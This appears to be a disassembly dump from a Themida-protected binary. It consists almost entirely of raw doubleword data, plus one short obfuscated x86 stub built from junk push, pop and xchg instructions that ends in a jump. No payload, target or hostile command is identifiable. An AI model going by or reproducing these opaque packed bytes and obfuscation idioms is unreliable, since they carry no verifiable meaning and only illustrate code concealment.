		dd 4503DE7h, 0F64F9447h, 0FE5229A6h, 97001442h,	0B881BF85h
		dd 8A5BCD8Ch, 0BCC33901h, 2C092335h, 7DBA01Dh, 0E771442h
		dd 1206BDAEh, 3E975073h, 0A62CD3AAh, 7A9E05Bh, 0D2000000h
		dd 1CB9Eh, 20922D00h, 27EB10B2h, 0F2EBFD85h, 1442B50Eh
		dd 57A70788h, 0C27DFFE5h, 8C9E471Ah, 0F6BE31AEh, 8BF413A8h
		dd 0A1C09D3Bh, 0F1D54E2h, 0A0F049A3h, 813AC13Eh, 0C18913A8h
		dd 3918CCE3h, 6AF65FB0h, 9F3A7290h, 78556B8Dh, 3E512860h
		dd 20BE2070h, 1D162846h, 144C5947h, 6158AC15h, 8A623192h
		dd 67CC44Ah, 91690000h,	0ECC5DB6Fh, 462238CCh, 0A382982Ch
		dd 0AE5FB8Fh, 7B815AEEh, 57EB07E2h, 0B5496741h,	17ABC19Fh
		dd 780C2401h, 0E39815C5h, 6F13A8FBh, 79569B2Ah,	7E5B2961h
		dd 27F02E66h, 0B23007Fh, 27DC59BBh, 781442A0h, 0B04B839Bh
		dd 0CAEAC35Fh, 8C9EF792h, 116C936Ah, 0E69E05Ch,	89000000h
		dd 0BDF50FEBh, 9E3B1022h, 0FCh,	0A083772Dh, 820D1442h
		dd 39B9F625h, 0A2FB8589h, 99D2D552h, 2FA113A8h,	41DA3F83h
		dd 4E3F581h, 6CE94B9Bh,	13A8F797h, 0EAC8DA43h, 7576F4Ch
		dd 29D30695h, 9FB1725Fh, 3F8A677Dh, 0D8B14263h,	0E08A842Eh
		dd 5BB44F87h, 19F39123h, 0C9C6E9FBh, 421895E5h,	10144C91h
		dd 4A7053A7h, 4F8F6232h, 5ADC9h, 3E603800h, 9BBB94AAh
		dd 0FB15F107h, 5E725167h, 0BDD9B4CAh, 0B1AA5029h, 1026BAD6h
		dd 6E841836h, 0D0E67A90h, 9447DBF3h, 0FB9067E4h, 0F93E13A8h
		dd 6179566Ah, 6F7E5B29h, 0A2DAF6D1h, 0A0E79C07h, 5E381442h
		dd 1C6D0840h, 0E4225AB3h, 17F46B1Bh, 13DAFFFh, 6F074A1h
		dd 0CDA4C6D8h, 0E05B5932h, 0CFEBC664h, 71EBDh, 9E470000h
		dd 28h,	7520922Dh, 0F699AE00h, 0ECC9E3F5h, 980A9CD4h, 26425819h
		dd 7E98AA15h, 0ED5189A1h, 6C493470h, 29F2C054h,	81000000h
		dd 11617956h, 193711AFh, 24DB46E1h, 0B21442A0h,	0A02ED552h
		dd 43AC1442h, 6512D8EAh, 1442A09Bh, 0EE51153Eh,	9465F911h
		dd 29617956h, 21713D52h, 0A8F2DBA4h, 0BE0E7713h, 9E2A4420h
		dd 0D26DA5C5h, 6744E2C0h, 8661FF4Fh, 2036586Ah,	1CF32B43h
		dd 89EB3B73h, 0A8F2770Ch, 0B1CDA813h, 7E5F760h,	3A7633A5h
		dd 53B3CDA9h, 16285582h, 4273ED1Dh, 760F7F14h, 68438DF5h
		dd 81E8D556h, 0CDA99221h, 121F918Ch, 0A7F750B8h, 9644552Ah
		dd 3F98011Bh, 5C7451EFh, 0C6D5B2C8h, 9644B249h,	0A884201Bh
		dd 0A4DC358Eh, 9CECC2CDh, 7253811Fh, 5932D01Ch,	0F26F0139h
		dd 3FA5C0Dh, 0F50760C9h, 7459AD16h, 9F5A479Bh, 44CD95Fh
		dd 0C1990000h, 1CF50B9Fh, 765268FCh, 0D3B2C85Ch, 3A152BBFh
		dd 4BB18A1Eh, 871B3712h, 0E5799771h, 47DBF1CFh,	0A83C5431h
		dd 33C845F5h, 9F13A8FDh, 7956CB5Ah, 55F3CD61h, 304A5C7Ch
		dd 35033B53h, 0CA084058h, 0FDDA4501h, 62BBD7B2h, 1108F7CEh
		dd 49CDE05Ch, 0F6000000h, 1C6C424Dh, 0A6EF3B9Fh, 7CF95913h
		dd 13A6F087h, 8176F353h, 4D13A6F0h, 21FF8BE4h, 0DF38D30Bh
		dd 0FD13F18Fh, 0F0897469h, 0D84A13A6h, 0EF309287h, 233D4F2Dh
		dd 849A2E46h, 0A24090A6h, 0DC77AFC3h, 0AF7E04CAh, 0D000003h
		dd 1C6C424Dh, 0A6861D9Fh, 92CA3313h, 7FCFE7C4h,	0B4EC04E1h
		dd 0DD410719h, 5F302460h, 3882FF4Fh, 171442A1h,	71839D79h
		dd 0BB952992h, 0F22A3E1Dh, 0D42D4924h, 0BEF09FC2h, 0C8CFF16Eh
		dd 1C851C6Eh, 73F052E4h, 3EED48Ch, 0BAD0AE4Ah, 7C8EE782h
		dd 5E388762h, 0E16D0840h, 5991EA06h, 9B9BCBA2h,	0ED6ABAF4h
		dd 40AF2D3h, 0EF07E482h, 0ACFC958Fh, 0B7C97871h, 0C5DB6FD8h
		dd 0E280D0E8h, 19B4EC06h, 96734107h, 0AE10EA7Eh, 0D2EC4A31h
		dd 0D4F4CD0Bh, 14B0019Ch, 48E31B3Bh, 0D5BADDEFh, 820C89D9h
		dd 0D00C36FFh, 9E791767h, 0FDAA7082h, 3336C002h, 649CBC95h
		dd 0C0AE55D2h, 0C32C3336h, 0A425A37h, 94004CBh,	0A7B874ADh
		dd 66BE17DDh, 926D1155h, 43B8E766h, 35h, 6C424D6Ch, 1767AA1Ch
		dd 5C73F4B4h, 39EF6C4Ah, 0F713A6BCh, 0C6A03E8Eh, 0C3A270A8h
		dd 83DC77AFh, 7DFEAB71h, 0CA13A6BEh, 2ED18DB9h,	0A7D877F3h
		dd 0F9h, 617956D0h, 31805B29h, 0AAE23B55h, 0AFE7FFDCh
		dd 9CEC04E1h, 0F3D225FEh, 0B34E86DFh, 7A57FA1h,	0EA04E029h
		dd 6EBE5991h, 42A00AF1h, 4D5FC814h, 42A44054h, 0E2FAD714h
		dd 0FF17F492h, 0D8B5CBEDh, 0DEB188C0h, 9E280D0h, 8A16B1E9h
		dd 0C45F97ABh, 4957D4B2h, 1713A6ABh, 50889C7Bh,	0B4BA41BEh
		dd 0AF1813A6h, 0FADFD56h, 50E21A32h, 0A6B42CD3h, 0E841AA13h
		dd 0FA95B4D6h, 0E8C664B4h, 65E2C0D2h, 14405ECDh, 0FB17F290h
		dd 371628C3h, 5E07ECEh,	643F55E9h, 3A153C15h, 9B6A5D68h
		dd 0F893CB24h, 0C58C4B9Fh, 5B9B6235h, 1F5D5h, 0F618F000h
		dd 53734C62h, 0B3CDA9BFh, 162A091Fh, 75916C82h,	69E208E1h
		dd 0C8DE728Eh, 263CD0EEh, 889E3248h, 4CFF93ABh,	0FF581F9Ch
		dd 0B1F613A8h, 5F7B5622h, 377FF1CBh, 571A2E50h,	154D6743h
		dd 0F50F217Ah, 0D7F1CD18h, 17AB049Fh, 6C424D46h, 8AA07E1Ch
		dd 571D9A78h, 2513A6A9h, 0EFCE6CBCh, 0F608A3DBh, 21009E30h
		dd 7902FB0Dh, 9A13A6A9h, 0A06EA6BCh, 0BD74ACC2h, 9AF2BEE6h
		dd 2C9EDD89h, 5823731h,	0A27D09FDh, 0A1B34E86h,	781139C6h
		dd 979ED8h, 56C70000h, 0D8605A79h, 1E3B040Dh, 0FBAA51CEh
		dd 0BF281442h, 85602E66h, 9D7B1969h, 0A2B44F87h, 0FFA72FDCh
		dd 0D5B21442h, 361329BDh, 800FE61Eh, 7361DE2Eh,	2113A6CEh
		dd 8A0524B8h, 5C57D424h, 23144029h, 5890A885h, 63CCABBDh
		dd 7E9A7513h, 0DDF9D4EAh, 35415889h, 1DA3E362h,	102h, 55E90BE3h
		dd 0B246663Fh, 12A6C09Ch, 75091DFCh, 0D468845Fh, 815CF5FBh
		dd 0E1BBD165h, 3B192FC3h, 9E7B9125h, 8F3FF286h,	0A8C06D12h
		dd 15A4E913h, 0CB5F7B56h, 2CC0D8B5h, 6A79565Bh,	42A016EDh
		dd 25BC414h, 1F3714B2h,	743A4CE7h, 1DB1C9A6h, 0CD1D91FEh
		dd 0F78C096Bh, 631442A0h, 7AD3E9C7h, 0E8FA10EEh, 0A8F187EFh
		dd 0D2B14D13h, 5FEB86BEh, 97326A82h, 5B38063Eh,	0E41C3210h
		dd 0C9223816h, 0F47613Dh, 71871B74h, 0BA2C7C94h, 1FB02A43h
		dd 7E1F7F5Dh, 8375B518h, 5A07CDDFh, 19FC16CDh, 2E66845Eh
		dd 346C8260h, 39792DF6h, 0E0BB5917h, 65F18CC4h,	9B366E8Ah
		dd 0C5B8EC89h, 71C49DE8h, 0CB247D93h, 2C442137h, 6FD7ADCh
		dd 99067D99h, 0EA53A4BCh, 654412D8h, 8B621951h,	6F8764DBh
		dd 37A1AD1Fh, 74D4EAC8h, 1F31CD49h, 0F20AE7FDh,	0C34BAh
		dd 8DC30000h, 61ACC335h, 2253CC2Bh, 7E563B10h, 7956245Ch
		dd 7D5B2961h, 87612F67h, 88633169h, 8B66346Ch, 8A69376Fh
		dd 94703E76h, 9B74427Ah, 68EE437Bh, 7C49h
		db 89h,	2Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		push	edx
		push	0C0F578Eh
		pop	edx
		or	edx, 4D0E6DDBh
		sub	edx, 7C511715h
		add	edx, 372BE9F9h
		push	edx
		pop	edi
		pop	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	edx
		mov	edx, 8
		add	edx, esi
		mov	[edx], edi
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		dd 3FDCC686h, 0B8EF3D06h, 7EA61B4h, 0E0FFC503h,	2D9D6C5Dh
		dd 7D36E5Eh, 2D188211h,	5241AA66h, 2342982h, 5B5DD9A6h
		dd 69FFEF84h, 3D0C084Dh, 3EBCDCDCh, 7C7CA1ECh, 4610B6CBh
		dd 1C2ABA00h, 45321E27h, 40BBBBF5h, 505C857Dh, 4021E575h
		dd 4E8392EAh, 7EA14CFBh, 62F76F25h, 52B71F9h, 1C1D21A5h
aNndcJ		db 'Dcκ',7,'j',0      ; DATA XREF: Themida_:00584110o
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 8B8797C3h, 0E40455BDh, 718D8907h, 8007E41Bh,	85C70BDAh
		dd 7E42DA1h, 6FE0h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 0F8C35747h, 4595892Bh, 0C707E41Ch, 0E422B985h
		dd 7, 85850900h, 3107E41Ch, 0E41B1D85h,	0A5B5FF07h, 0FC07E406h
		dd 306195FFh, 6A07E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 9D85D8C3h, 613DF831h, 95FF006Ah
		dd 7E40E41h, 3DEBC08Bh,	0E82D3F89h, 9F7580E0h, 0A3636582h
		dd 1309F69Eh, 0FF5BAE04h, 19828B35h, 7E2B44ADh,	351AD7C3h
		dd 0D42E3438h, 32BF8A0Ah, 162904E4h, 0EDE97309h, 0DCA483ACh
		dd 0EF5BFE15h, 9585A06Bh, 17EE9BEh, 0BAA70000h,	2C2717E7h
		dd 98D31AD5h, 0D1D746B1h, 41EFB4CAh, 52E45B7Eh,	0FB6D5D97h
		dd 9244FCA3h, 92A59EB9h, 0E495BCD7h, 0CB0093B9h, 0A3F49DB2h
		dd 0B9FC9CACh, 45D2009Eh, 0EE73AFC9h, 9755FC00h, 6D599CBAh
		dd 0FFB2A4E5h, 0F647FEACh, 0D4C45657h, 0B5F600CCh, 49F78F7Dh
		dd 0FA975395h, 0CD45C9BCh, 6CA1915Ch, 0ACE5h, 1, 42h dup(0)
		dd 97000000h, 33A26D84h, 0EE69F0h, 1090E9h, 67106800h
		dd 0A2E907EAh, 68FFFAF9h, 7EA6823h, 0FAF998E9h,	69E968FFh
		dd 8EE907EAh, 68FFFAF9h, 7EA6AADh, 0FAF984E9h, 6BCD68FFh
		dd 7AE907EAh, 68FFFAF9h, 7EA6C90h, 0FAF970E9h, 6D6668FFh
		dd 66E907EAh, 68FFFAF9h, 7EA6DE9h, 0FAF95CE9h, 6EF668FFh
		dd 52E907EAh, 68FFFAF9h, 7EA6F73h, 0FAF948E9h, 705168FFh
		dd 3EE907EAh, 68FFFAF9h, 7EA7106h, 0FAF934E9h, 71C468FFh
		dd 2AE907EAh, 68FFFAF9h, 7EA72E2h, 0FAF920E9h, 73E168FFh
		dd 16E907EAh, 7DFFFAF9h, 33487BDDh, 0E8FD3026h,	98ADE06Ch
		dd 4C6194C0h, 0DC104307h, 65E56EFFh, 183A1D32h,	0CA86D0E5h
		dd 7BD38297h, 9679E348h, 23FFF366h, 0D9AEAF63h,	9B8ED27Ch
		dd 0ED61F4BAh, 476971A4h, 3B1A014Bh, 8568E213h,	23F9A342h
		dd 0B29EB865h, 2362569h, 6A23F9A2h, 3B6B4E96h, 4023F9A2h
		dd 86C90233h, 5E8C82DAh, 66A95Ah, 65AD0000h, 0F9AA5282h
		dd 194A5723h, 0C8C0E69Ah, 54F367Eh, 1BBDB57Ch, 559E037Dh
		dd 81D5BE11h, 8A899ECFh, 2523FA42h, 72E7CE18h, 1C4DA0E4h
		dd 3185B9A8h, 4D0823FAh, 185CF661h, 45387CC5h, 2C5C3F12h
		dd 3123FA32h, 0A497DB24h, 7D249EB2h, 0A1D1B4D2h, 9E23FA31h
		dd 0B1444891h, 0EAC29Eh, 0ED915A5Eh, 90000000h,	0EED17CD9h
		dd 1C158EBEh, 2165AEBBh, 0DB25252Eh, 0DBEF63F4h, 0D1798D93h
		dd 5DD10224h, 51342209h, 0A12D0A27h, 0E529727Ch, 0A6B0A992h
		dd 0C5DE0F62h, 267ABE90h, 0F73B193Fh, 0B4FD5104h, 92C389CBh
		dd 3F72DC79h, 15EACC2Eh, 48064F1Ch, 0F9550015h,	0B1B9CFB5h
		dd 0F6C98467h, 0D1DE23F9h, 2C5C3F87h, 3123F9D6h, 8890F324h
		dd 0D8206A66h, 6E964F1h, 23F9D5D6h, 4C7DC6D3h, 0E0BFF337h
		dd 61ABB82Bh, 2771D97Ah, 0BE9A1640h, 0B91C4D96h, 0A99BAFA4h
		dd 0C2A744F4h, 0E77F7CA0h, 0E900000Dh, 9FB4E771h, 54699CBAh
		dd 4194C00h, 0B8CD0054h, 487CAF9Bh, 0D179DA63h,	84CE899Eh
		dd 361A3C51h, 0E767EE03h, 2E54FB4h, 23FFF5D2h, 0D92223D7h
		dd 2925307Ah, 0A4AF96E0h, 6F4462A6h, 0D3F965E0h, 0BD20519Ah
		dd 6EA1ADA8h, 0A4411F8h, 0C34273C6h, 1D4D3078h,	221C158Fh
		dd 0B6D8E415h, 412870BAh, 0A1F43812h, 985C5B70h, 4A5C23F9h
		dd 371C7C36h, 0DD5468C8h, 44FFB3ABh, 0CBD86FA0h, 0FD649887h
		dd 39CC23F9h, 0CC124A16h, 0CF195A5Eh, 1D000000h, 0ED312136h
		dd 0D9EA699Ah, 9B8ED27Ch, 5F4E92B8h, 1C1593FDh,	8FD975E0h
		dd 93346447h, 2B391C15h, 15931848h, 0BF08151Ch,	3F162B8Eh
		dd 34775E44h, 0A0E94D28h, 0E6F6085Ch, 0DA0A6C13h, 0F80E1A4Bh
		dd 165EA6F0h, 16820333h, 0B1FB081Ch, 16819ECEh,	5D8E9B1Ch
		dd 0FA968D48h, 0E2152223h, 7FD1856Ch, 0ABB7E83Bh, 60438D85h
		dd 2BE15D0Bh, 260D5764h, 0D5EA1D2Dh, 0B9DACC7Eh, 0DBC2A7F1h
		dd 0CD4BAB7h, 5EFC0000h, 0A7B2C7FAh, 0ED677CAFh, 41172C5Fh
		dd 88CBE013h, 705B8FC2h, 0B1E466EDh, 6497BB9Ch,	1649074Fh
		dd 0C7FA5401h, 0E515F862h, 0EA23FFF6h, 91783536h, 0F3468AC4h
		dd 0A0AAA9C2h, 67E56F56h, 6EE7D023h, 18499CE0h,	99B5A0B5h
		dd 7CD9EB66h, 5D4088D2h, 1C158F2Dh, 11412432h, 0E1C158Fh
		dd 87CFB801h, 13285C9h,	93BB9A8Dh, 0EE1E0149h, 0EB1C158Eh
		dd 424AADDEh, 0F7DA242Ch, 23F9AED8h, 9382C6D3h,	23F9AE5Fh
		dd 6D1B34C7h, 3F83D386h, 4B23BBECh, 0F05A5E83h,	64h, 0C8C0E6EFh
		dd 0BA649B7Eh, 394723F9h, 0F9BA2656h, 0CD162323h, 0B9669A89h
		dd 6AE923F9h, 0ACA99CE0h, 33DA5EA2h, 0D86B6F1Ch, 0B4B3EB77h
		dd 31B85A5Eh, 0B7000000h, 7EC8C0E6h, 0F9948C9Bh, 75E28F23h
		dd 615094DDh, 23F9952Dh, 214D0295h, 5A5EA549h, 15EEh, 7E0F200h
		dd 0A90E0DCEh, 66AAA8AFh, 1A99CA13h, 8CECFh, 0C0E6D400h
		dd 6C9C7FC7h, 711C158Eh, 8F4F7F64h, 3F4C1C15h, 0F79AACF6h
		dd 7FCB889Eh, 62D4E83Bh, 88023303h, 9C71A5h, 1F697624h
		dd 4D301D38h, 24005B1Dh, 2011522h, 24D5882Fh, 8C73BD06h
		dd 0EE4185C9h, 10455ABDh, 1E2A5A3Dh, 222F2400h,	7E7D8FD9h
		dd 3E19D43Fh, 5D8D70BAh, 62240025h, 5CB02455h, 3C6DDF75h
		dd 0C8121E30h, 0EA8940E5h, 0D8222F2Bh, 0A0EA64F1h, 0B83858Eh
		dd 3680A55Fh, 159B2353h, 0EA1B281Ch, 6BE37287h,	0DE6A0F21h
		dd 0C3074D0Bh, 0A40B5C70h, 41279BCCh, 7DD3832Fh, 0BBA2EA34h
		dd 1D71B59Bh, 161A0A3Ah, 0B9020F1Ch, 321C7388h,	828F23FAh
		dd 0C5571990h, 4A476BBAh, 0B0Eh, 8DC098C2h, 4275E178h
		dd 0F225272Dh, 0A6D97BDDh, 5588C291h, 0A0B3BA21h, 0F56277AAh
		dd 41152A5Dh, 8EC7DC0Fh, 0BE288DC0h, 0FFF7ABDBh, 0FBFCB023h
		dd 158FA9DDh, 1B17391Ch, 0F3AAEED1h, 0C40C23FFh, 0FFF0B1E1h
		dd 0BDA0AE23h, 23FFF08Dh, 0B3C8592h, 2C346774h,	0DDC40E1Ah
		dd 67EED779h, 1F50A3E7h, 5486C2A5h, 0E1B2BEAh, 0D678DDC4h
		dd 86A17A8Ch, 78DCC727h, 0DB2E72DEh, 0E9FE6192h, 0B89EE26Ch
		dd 3E509A96h, 39B449DEh, 2FA9DA27h, 0AF4Ch, 59A3B024h
		dd 8ECBE372h, 0E83184C8h, 99B5A0B5h, 0FC346655h, 0A2C4A3FFh
		dd 4A795CA6h, 45ABE41Fh, 0DE6C686Dh, 0BE07D856h, 9B7E73CCh
		dd 0B8B5D942h, 0A4Ah, 5184D486h, 6391D3Ch, 0B6E963F1h
		dd 6A9DB7A1h, 194CFE55h, 0DC77C6E5h, 31263B6Eh,	7DD9EE21h
		dd 0CA8BA0D3h, 82EC5184h, 0FFF86F9Fh, 0B7B86C23h, 7EC8C0E6h
		dd 0FFF2579Bh, 0C98F3C23h, 43224DC0h, 549D7EFCh, 7CDAC10Bh
		dd 0C3D90D4h, 2D384A92h, 0E597239Eh, 6B9B7EC8h,	7024005Ah
		dd 3C193263h, 8BCADF12h, 77997FC3h, 164E317Bh, 932BEABFh
		dd 0FF553C86h, 85B6094Dh, 1D31240Bh, 0CE80D5EAh, 8682A48Ah
		dd 0A1E4593Ch, 0BDCB2400h, 5AAADAh, 59A2AF24h, 212D280Fh
		dd 0D27CD9EEh, 98B3A188h, 5A85B5h, 347D8A24h, 6CA08F03h
		dd 0FC24005Ah, 4C94DEEAh, 5B3969h, 0B0A4B424h, 910B3C49h
		dd 0EABE2EAEh, 94DEEB2Bh, 73A6A8ADh, 1357F75Eh,	0D3441B2Dh
		dd 183BB910h, 7FAF92DCh, 7C1C15BFh, 0F9DC266Fh,	240023BDh
		dd 411345F2h, 96C6A9FDh, 9323FFE0h, 0B0F43D86h,	62ACA4CAh
		dd 0E3E3447Fh, 0D472842Bh, 0D2353AD0h, 101EB5E6h, 2407FD2Dh
		dd 0ACF5021Ch, 9B777BBAh, 0C4C1E5C2h, 92Ah, 71A4B4A6h
		dd 2659FD5Ch, 0D6094311h, 8ABD97C1h, 396CDE75h,	0BC97A605h
		dd 11465B8Eh, 5DF90E41h, 0AAABC0F3h, 0A20C71A4h, 0FFF98FBFh
		dd 0D7D88C23h, 8ED27CD9h, 4A94BA9Bh, 0C107CB38h, 1945C14Fh
		dd 0A7CEF7Eh, 0AF23549Dh, 0CD1A357Ah, 0FF93C688h, 5DBABEAFh
		dd 84E0BF2h, 1137D7h, 78360000h, 9F88C291h, 5397B5h, 4FBACCFh
		dd 42B10000h, 4313FA61h, 4576C90Dh, 0D11B1739h,	0A1E56DEAh
		dd 0C0A31D4Eh, 23F9BAB9h, 68F36976h, 0F7058C8Ah, 650586Eh
		dd 0E9AD3023h, 0E22633F8h, 94DEEAFCh, 91B24B1h,	84CEDBF7h
		dd 0B295B89Dh, 0F101FA82h, 0FE317A87h, 0F0E26CE9h, 0EDBD845Bh
		dd 67080529h, 69000008h, 1F3467F1h, 0D4E91C3Ah,	8499CC80h
		dd 384D80D4h, 0C8FC2F1Bh, 51F95AE3h, 44E091Eh, 0B69ABCD1h
		dd 67E76E83h, 8265CF34h, 23FFFB52h, 0D9A2A357h,	22D6077Ch
		dd 863B753Ch, 0ED367FCFh, 2A0D55A9h, 1C1620FAh,	0A8C1F2FFh
		dd 6E559FABh, 568669EAh, 531C1621h, 65B9FD46h, 16215282h
		dd 14A571Ch, 43656DD0h,	0CEB5FD47h, 0B7E7CA8Bh
		dd 0B41C1620h, 0C71A5EA7h, 85138196h, 7E8C2400h, 7F6B9Bh
		dd 0AD987024h, 0C9EF2350h, 549EE730h, 3366E86Dh, 0D317371Eh
		dd 0C8BF987Fh, 66C4FDCEh, 0AAEE37E2h, 67B09EB7h, 0C042A36h
		dd 0D379DBC2h, 0D4528A2h, 0A22BEA3Bh, 0F1644B95h, 40152A5Dh
		dd 0B9FA2A0Dh, 0F2FF1C15h, 0E17265A9h, 0C5CA7769h, 92B6C2A9h
		dd 79195h, 3D1B3F00h, 0F264F50Ah, 0A2AAAABFh, 56FE5A6Fh
		dd 5450E23h, 303D9ED2h,	0DFF42723h, 92A7DA78h, 44598CC4h
		dd 0A50A3D11h, 0FC28583Bh, 712523FFh, 0C2917870h, 0C0F14488h
		dd 4C9692B4h, 0FFF33169h, 27717E23h, 6391540h, 0A4A64F1h
		dd 61B5F942h, 2E263219h, 82B297EAh, 8723FFF1h, 2B3D497Ah
		dd 68EED51Fh, 0F7400C48h, 1D044CC6h, 7ED11537h,	0DD9384Dh
		dd 0C9D62BE4h, 9B7880D7h, 7B789CC2h, 70Eh, 8DC098C2h, 4275E178h
		dd 0F225272Dh, 0A6D97BDDh, 5588C291h, 0A0B3BA21h, 0F56277AAh
		dd 41152A5Dh, 8EC7DC0Fh, 0BE288DC0h, 0FFFBABDBh, 0FBFCB023h
		dd 88D27CD9h, 6798B2A1h, 0F95500F3h, 143B80B5h,	1B4B2E76h
		dd 731C158Fh, 21BC5E56h, 7E8BF2AFh, 2D21344Dh, 193666FAh
		dd 745B5DBAh, 9F3F70E4h, 11h, 1397BCA3h, 77CA0E44h, 0CF7EFD2Eh
		dd 2D9h, 0D27CD9D4h, 9CB6A188h,	7FB0A6B3h, 703250Bh, 629275BDh
		dd 671C158Eh, 0CCAF295Ah, 23FFF394h, 0DBC20C19h, 3F92D67Ch
		dd 4E35AB0Eh, 1E014B0Bh, 23FFF2EEh, 94ADDEEBh, 6AE7C2C1h
		dd 555E04EDh, 7ED5C80Ch, 7F9199CCh, 0D1707BA8h,	98A4DBAEh
		dd 189EE92h, 543781CAh,	24003924h, 89D31C29h, 0EA9C4DA6h
		dd 0E175222Bh, 8FD82B6Fh, 0EEC3345h, 91CEC0E2h,	56FFE660h
		dd 0A5B0C5F8h, 0E17265A9h, 293F2569h, 41F4D721h, 4623FA91h
		dd 0F4264739h, 0CEF2BAC4h, 601D1h, 0CD8BCF00h, 82D4859Ah
		dd 321A3A4Fh, 0E66EEAFFh, 95B59EB3h, 0C08D2E62h, 6F84B793h
		dd 22376AE8h, 0D4E91C34h, 359ACD81h, 0FCB8E8CBh, 1B523FFh
		dd 327CD900h, 94E72B23h, 0F5EF014Bh, 19FD5B87h,	6F96D9Eh
		dd 0EB1BFE4Fh, 0F01C1641h, 41CFFFE2h, 0BFCC1C16h, 0B4E92D76h
		dd 5203E06Fh, 6535C9FCh, 25DBA2Ch, 7, 169CF01h,	0D9D40000h
		dd 83E0D27Ch, 81C2A9F0h, 584605Dh, 0E4C0000h, 5702174Ah
		dd 9DB7CCFFh, 0F1677CAFh, 381B3063h, 0ABDF12h, 134163Dh
		dd 0B4E76BECh, 6699B79Fh, 174A0451h, 356548B2h,	3A23FFFEh
		dd 7CD98586h, 0BA9B8ED2h, 0F85D5094h, 391F1256h, 32CDD71Bh
		dd 45701Dh, 8BC3924Fh, 50F95A41h, 158F3D6Dh, 0EC35421Ch
		dd 0EB6C55A8h, 9FD02367h, 9FF0A83Ch, 1C775DBAh,	7B000000h
		dd 97205033h, 101D1C15h, 0DD212F27h, 0CFDA598Ah, 0DBh
		dd 0D5CFD4h, 0E6D40000h, 0B4E4C7C0h, 0B91C158Eh, 8E98C8ABh
		dd 88951C15h, 9AACF63Fh, 0FD9C2D36h, 2512534Ah,	0D1D580F8h
		dd 95DD5788h, 76A7A7AEh, 0F22961h, 80D98624h, 63498DD6h
		dd 0B3FB454Dh, 97C88CCCh, 0E43F1B82h, 719BAD2Bh, 2291D770h
		dd 6D7A1142h, 9B677E7Bh, 0C1BEE2C2h, 4A6h, 0F528302Ah
		dd 0AADD79E0h, 5A8DBF95h, 0E411345h, 0BDF05AF9h, 381B2289h
		dd 8DCADF12h, 0D97D92C5h, 262F4477h, 2690F528h,	0FFFF1343h
		dd 63641823h, 7EC8C0E6h, 0F9DE4E9Bh, 60435123h,	23F9DE30h
		dd 8DD7202Dh, 58FEAEA6h, 1861B4F8h, 0DDA1D4E5h,	7BC323F9h
		dd 0F9DD6898h, 27586523h, 2306470Eh, 23F9DDF3h,	58A2EBF8h
		dd 0E87BE246h, 316239B1h, 0B19BB9CEh, 42C706Dh,	0E6750000h
		dd 9B7EC8C0h, 23FFF363h, 67095365h, 4EB90DFFh, 3579861Dh
		dd 0E731394Fh, 0E4379D04h, 0E482F2Bh, 73E0FE42h, 0BE565935h
		dd 0F68DBE07h, 0DB18F7E9h, 4064C29Bh, 3F143h, 0DD7BDF00h
		dd 92C495AAh, 420A4A5Fh, 0F65EFA0Fh, 0A5A5AEC3h, 0D09D3E72h
		dd 7F94C783h, 32477AD8h, 0E4F92C24h, 45AADD71h,	0FFC8F8DBh
		dd 11C523FFh, 0FDC0E610h, 3E48D0C2h, 4C96DF5Bh,	0E63569h
		dd 0E32D3A24h, 0C2F559FCh, 0A44C3A4Ch, 9788C642h, 46084D66h
		dd 0FD0A1C02h, 0FFB4EA1Ah, 0F9290C23h, 0F623FFB4h, 2C7582E9h
		dd 185AFFE2h, 8B722BEAh, 0EC3F83C9h, 0B9FD5303h, 919E3566h
		dd 0B9F56047h, 396CB59Fh, 0D97D3124h, 0FCDF3377h, 1C15D3CCh
		dd 327BC4D1h, 0EAE608EEh, 0B19BB9A0h, 23311A6Dh, 367EF829h
		dd 0C9714324h, 0A7D85407h, 0FAA33B92h, 31233023h, 0BAC505D4h
		dd 338F8CB0h, 9D000003h, 53689BBDh, 81D5006h, 0B8CD004Ch
		dd 6C81B4A0h, 0FC3063E7h, 85C58EDFh, 381A3D52h,	0EA66F005h
		dd 9BB3A2B7h, 0B6990368h, 23FFFF86h, 0D9CECF83h, 9B8ED27Ch
		dd 2261F4BAh, 7DD88172h, 91D51E9Dh, 0BAC2F53Eh,	6F529C94h
		dd 23F9DE2Ch, 2F1E626Fh, 23F9B6FBh, 82D7D77Eh, 0F43D90D4h
		dd 0B496BDB0h, 71DE5370h, 0D27D1014h, 5EB7C696h, 32655Ah
		dd 82690000h, 0D67CDBD3h, 12F5498Dh, 23F9AEE2h,	6091DAE7h
		dd 0C8C0E6E1h, 979C9B7Eh, 727F23F9h, 980B3F2Eh,	0E07323F9h
		dd 0AABBF36Fh, 0CDC05A5Eh, 0BF000000h, 88D27CD9h, 4E98B2A1h
		dd 158F3B6Bh, 233401Ch,	92B89B8Eh, 54FA5B4Eh, 2D09F80Ah
		dd 5161007Fh, 9CB9AC20h, 0D48168B2h, 0B2E3367Ah, 0DBDC3E4Fh
		dd 96DE1C15h, 15DA83B3h, 4A7B881Ch, 0F72A2431h,	97DB73E2h
		dd 49939FB1h, 0F9EA1F66h, 357F8C23h, 0D0DA0AEDh, 0D2DF23F9h
		dd 10363EA1h, 0EEBCE18h, 912BE0BBh, 533A84h, 5102174Ah
		dd 481407F9h, 4C70C2A7h, 2154Fh, 0B99FBB00h, 6EE87186h
		dd 1E2E263Bh, 0D282D6EBh, 81C98A9Fh, 0ACB11A4Eh, 5B70A3A7h
		dd 0E2356FCh, 0C0D50848h, 2186B995h, 0A4D4B7h, 0F5A92400h
		dd 57AD9F4h, 0CD884BF7h, 0B0996D81h, 152771BAh,	1DBDB557h
		dd 2A8DBE93h, 0C40E4015h, 92D678DDh, 30AB0E3Fh,	15F76678h
